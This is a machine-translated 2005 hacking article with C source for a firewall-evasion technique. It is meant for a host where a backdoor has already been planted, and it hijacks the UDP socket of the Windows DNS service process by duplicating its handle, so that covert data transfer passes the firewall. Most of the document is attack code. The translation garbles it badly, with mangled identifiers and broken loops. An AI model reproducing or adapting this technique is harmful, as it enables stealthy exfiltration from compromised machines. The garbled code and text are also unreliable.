A data transmission technology to penetrate new firewall Created: 2005-04-13 Updated: 2005-04-13 article attributes: original articles submitted: Data Transfer suei8423 (suei8423_at_163.com), a new firewall penetration Technology Author: zwell email: zwell@sohu.com Date: 2005.4.12 Using this technology: After the target host is placed in the back door, you need to transfer the data. At the same time, the data is very important. The action cannot be too large. Other cases "serious" does not recommend Use this technology (later I will talk about why). For some cases of the current firewall, if your own process opens a port (even new sockets), it is definitely blocked. On the contrary, we are also very clear: Firewall verification The process will never be blocked when transmitting data. So, my idea is simple: to take the socket in other processes to be used as used. The process is as follows: 1. Find the target process 2. Find out Socket handle 2. Use the duplicateHandle () function to convert its Socket to it can be used by themselves. 3. Switching with the conversion Socket is very simple, but actually implementation still there is some problem (discussion later And from the above implementation method, some uncomfortable places: Socket in the target process cannot be TCP, because the handle of TCP has established a connection outside, so it can only be UDP. We are very It is difficult to locate a stable process socket. See these, you have a little fuss, haha. Think about it, in fact, we have a real Tong Rome "Gold Avenue". We know that as long as a computer is connected Network, then there is a data transfer is definitely not intercepted, that is, DNS. Can you imagine the result of domain name resolution data to be blocked? Hey, since this is never stopped, and it is UDP transmission, we take him to open the knife ... The following is an example of data transfer by direct control DNS process (in fact that is SVCHOST.EXE, but the username is a network service). There are many problems in the programming, SVCHOST does not have permissions when the username (but can operate when the handle value is 0x2c, it will stop running when the handle value is 0x2c. For details, please see the note section ... / * Made by Zwell Zwell @ Sohu.com 2005.4.12 - * / #include
#include
#include
#pragma comment (lib, "ws2_32") #pragma comment (lib, "wtsapi32") #define NT_SUCCESS (status) ((NTSTATUS) (status)> = 0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004L) typedef LONG NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION {ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess;} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef ULONG (WINAPI * ZWQUERYSYSTEMINFORMATION) (ULONG, PVOID, ULONG, PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry (void) {BOOL ret = FALSE; char nTDLL_DLL [] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ((ntdll_dll = GetModuleHandle (nTDLL_DLL)) == NULL) {printf ( "GetModuleHandle () failed" ); return (FALSE);} if ((ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) GetProcAddress (ntdll_dll, "ZwQuerySystemInformation")!)) {goto LocateNtdllEntry_exit;} ret = TRUE; LocateNtdllEntry_exit: if (FALSE == ret) {printf ( "getPr ocAddress () failed ");} ntdll_dll = NULL; return (ret);} / * This routine is used to get a process's username from it's SID - * / BOOL GetUserNameFromSid (PSID pUserSid, char * szUserName) {/ / sanity checks and default value if (pUserSid == NULL) return false; strcpy (szUserName, "?"); SID_NAME_USE snu; TCHAR szUser [_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = & chUser; TCHAR szDomain [_MAX_PATH]; DWord ChDomain = _max_path; pdword pcchdomain = & chdomain; // Retrieve User name and domain name based on user '
Sid. if (: Lookupaccountsid (Null, Pusersid, Szuser, Pcchuser, Szdomain, Pcchdomain, & Snu) {WSPrintf (SzuserName, "% S", SZUSER);} else {returnaf false;} return true;} / * This routine is used to get the DNS process's Id Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information, even if we has the privilege in catching the SYSTEM's - * / DWORD GetDNSProcessId () {PWTS_PROCESS_INFO pProcessInfo = NULL;. DWORD ProcessCount = 0; char szUserName [255]; DWORD Id = -1; if (WTSEnumerateProcesses ( WTS_CURRENT_SERVER_HANDLE, 0, 1, & pProcessInfo, & ProcessCount)) {// dump each process description for (DWORD CurrentProcess = 0; CurrentProcess = NULL) {printf ( "OpenProcess wrong"); CloseHandle (hProcess); return false;} if (0 == OpenProcessToken (hProcess, TOKEN_QUERY, & hAccessToken)) {printf ( "OpenProcessToken wrong:% 08x", GetLastError ()) ; return false;} GetTokenInformation (hAccessToken, TokenUser, InfoBuffer, 1000, & dwInfoBufferSize); LookupAccountSid (NULL, pTokenUser-> User.Sid, szAccountName, & dwAccountSize, szDomainName, & dwDomainSize, & snu); if (hProcess) CloseHandle (hProcess); if (HaccesSstoke); Return True;} * / / * now, it is the max important stuff ... ^ _ ^ - * / socket getSocketFromid (dword pid) {ntstatus status; pvoid buf = null Ulong size = 1; ulong numofhandle = 0; ulong i; psystem_handle_information h_info = null; handle sock = null; dword n; buf = malloc (0x1000); if (buf == null) {printf ("Malloc WRONG / N" Return null;} status = zwQuerySystemInformation (0x10, buf, 0x1000, & n); if (status_info_length_mismatch == status) {free (BUF); buf = malloc (n); if (buf == null) {printf (" Malloc WRONG / N "); R eturn NULL;} status = ZwQuerySystemInformation (0x10, buf, n, NULL);} else {printf ( "ZwQuerySystemInformation wrong / n"); return NULL;} NumOfHandle = * (ULONG *) buf; h_info = (PSYSTEM_HANDLE_INFORMATION) (( Ulong) BUF 4); for (i = 0; i 0) // if port> 0, Then We can use it is book;}} catch (...) {Continue;}} f (buf! = Null) {free (buf);}} Return / * This is not required ... - * / BOOL enablePrivilege HANDLE hToken (PCSTR name) {; BOOL rv; TOKEN_PRIVILEGES priv = {1, {0, 0, SE_PRIVILEGE_ENABLED}}; LookupPrivilegeValue (0, name, & priv .Privileges [0] .Luid); priv.Privileges [0] .Attributes = SE_PRIVILEGE_ENABLED; OpenProcessToken (GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, & hToken); AdjustTokenPrivileges (hToken, FALSE, & priv, sizeof priv, 0, 0); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv;} void main () {WSADATA wsaData; char testbuf [255]; SOCKET sock; sockaddr_in RecvAddr; int iResult = WSAStartup (MAKEWORD (2,2), & wsaData); IF (IRESULT! = NO_ERROR) Printf ("Error AT WSAStartup () / N"); if (! locatedllentry ()) Return; if (! EnablePriviegege (SE_DEBUG_NAME)) {Printf ("EnablePrivileG / N"); Return; } SOCK = getSocketFromid (getDNSProcessId ()); if (sock == null) {Printf ("GetSocketFromid Wrong / N"); Return;} // Change there value ... recvaddr.sin_family = AF_INET; recvaddr.sin_port = htons (5555); recvaddr.sin_addr.s_addr = inet_addr ("127.0.0.1"); IF (socket_error == sendto (SOCK, "TEST", 5, 0, (SockAddr *) & recadddr, sizeof ("SendTo Wrong:% D / N", WsageTlasterror ();} else { Printf ("Send Ok ... Have Fun, Right? ^ _ ^ / N");} getchar (); // wsacleanup (); return;} I have this idea before, but I haven't been implemented. In the above code, because the DNS process handle is to be found, Svchost.exe has multiple, so it is determined by the user name. It was originally openprocessToken, but how couldn't, so I changed the way. I used the WTSAPI32 library Function. Test with the following code: / * udpreceiver - * / #include